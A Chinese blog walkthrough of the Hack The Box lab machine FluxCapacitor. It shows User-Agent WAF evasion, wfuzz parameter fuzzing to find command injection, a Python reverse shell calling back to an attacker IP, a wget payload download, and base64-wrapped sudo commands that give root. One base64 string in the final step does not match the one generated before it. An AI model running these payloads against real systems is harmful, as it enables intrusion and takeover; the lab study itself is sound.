HTB-靶机-FluxCapacitor

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.69

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.69 -o ./FluxCapacitor-autorecon

就开了个80端口,访问看看

没发现啥东西,用burpsuite重放看看

发现提示含有sync路径,同时根据显示的响应信息,得知目标靶机存在SuperWAF,先访问看看

显示403,这个如果玩过WAF,就知道是显示被WAF拦截了,看到显示的403信息是openresty之类的,猜测可能就是基于openresty定制改版的WAF,那么我们需要绕过WAF ,下面是绕过WAF的两篇文章,是靶机作者提供的,具体链接如下:

https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0

经过大量测试,发现目标WAF会基于User-Agent进行判断识别进行拦截操作

更改User-Agent头发现就能正常访问,看上面的显示是一个日期时间,猜测有可能存在命令执行,也有可能存在shellshock,我们模糊测试命令执行看看,具体操作如下

wfuzz -c -L -t 500 --hh=19 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.69/sync?FUZZ=ls | tee bmfxfuzz.log
参数解释:
--hh=19 是表示HTTP响应Content-Length: 19的时候就隐藏
-t 500 指定并发连接数
-L 跟随HTTP重定向
-c 输出带颜色
-w 指定字典,也可以像下面使用方式一样使用-z参数然后带file指定字典
-u 指定url

也可以另外一种形式

wfuzz -c -L -t 500 --hh=BBB -H "User-Agent:bmfx" -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.10.10.69/sync?FUZZ{not_this}=test

最终确认存在命令执行的参数是opt ,但是我尝试执行下命令,发现被WAF拦截了

此时需要绕过,可以参考上面我提供的两个绕过WAF的文章,这里通过模糊测试挖掘出可进行绕过WAF的参数

wfuzz -c -L -t 500 -w /usr/share/seclists/Fuzzing/special-chars.txt -u http://10.10.10.69/sync?opt=FUZZ | tee bmfxchar_fuzz.log

通过上面就可以 知道哪些绕过字符可以使用,哪些不可以,经过测试确认可以使用反斜杠加空格进行绕过

既然可以命令执行,那么也顺便执行下sudo -l看看

发现存在一个隐藏文件可以通过sudo以root身份执行shell脚本代码,那么我们可以通过这种命令执行的方式直接反弹shell,操作之前先看看脚本内容

大概意思就是执行shell的第一个位置必须是cmd 后面的第二个参数会通过base64进行解码,解码完成之后就执行此shell代码,知道意思就好办,我们本地假设好简易web,然后做好python的反弹shell,再通过base64编码,得到如下结果:

反弹shell

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.5",8833)) #CHANGE THIS
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1) 
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])


base64编码
echo "wget 10.10.14.5/shellbmfx.py -P /tmp" | base64
d2dldCAxMC4xMC4xNC41L3NoZWxsYm1meC5weSAtUCAvdG1wCg==

查看是否成功

确认成功了,然后确认目标是python2版本还是python3版本

本地监听端口触发反弹shell代码

echo "python3 /tmp/shellbmfx.py" | base64
cHl0aG9uMyAvdG1wL3NoZWxsYm1meC5weQo=

sudo /home/themiddle/.monit cmd cHlaG9uMyAvdG1wL3NoZWxsYm1meC5weQo=

PS:本靶机还可以通过curl命令直接读取root.txt

curl -s "http://10.10.10.69/sync?opt='{ sudo /home/themiddle/.monit cmd Y2F0IC9yb290L3Jvb3QudHh0 }'"
迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/14067943.html